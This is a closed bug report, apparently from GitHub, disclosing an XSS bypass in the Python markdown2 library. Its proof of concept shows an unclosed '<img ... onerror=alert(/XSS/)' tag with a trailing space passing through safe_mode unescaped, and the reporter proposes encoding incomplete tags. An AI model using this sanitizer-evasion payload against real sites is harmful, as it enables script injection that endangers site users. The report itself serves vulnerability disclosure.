Closed
Description
PoC with latest version:
>>> from markdown2 import markdown as mark
>>> mark('<img src="" onerror=alert(/XSS/)>', safe_mode=True)
u'<p>[HTML_REMOVED]</p>\n'
>>> mark('<img src="" onerror=alert(/XSS/) ', safe_mode=True) # Please notice the space at end of string.
u'<p><img src="" onerror=alert(/XSS/) </p>\n'
using safe_mode="escape"
:
>>> mark('<img src="" onerror=alert(/XSS/)>', safe_mode="escape")
u'<p><img src="" onerror=alert(/XSS/)></p>\n'
>>> mark('<img src="" onerror=alert(/XSS/) ', safe_mode="escape")
u'<p><img src="" onerror=alert(/XSS/) </p>\n'
It will trigger an alert box in Chrome. I think it will be a better approach to encode the incomplete tags as well to prevent it.
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Metadata
Metadata
Assignees
Labels
No labels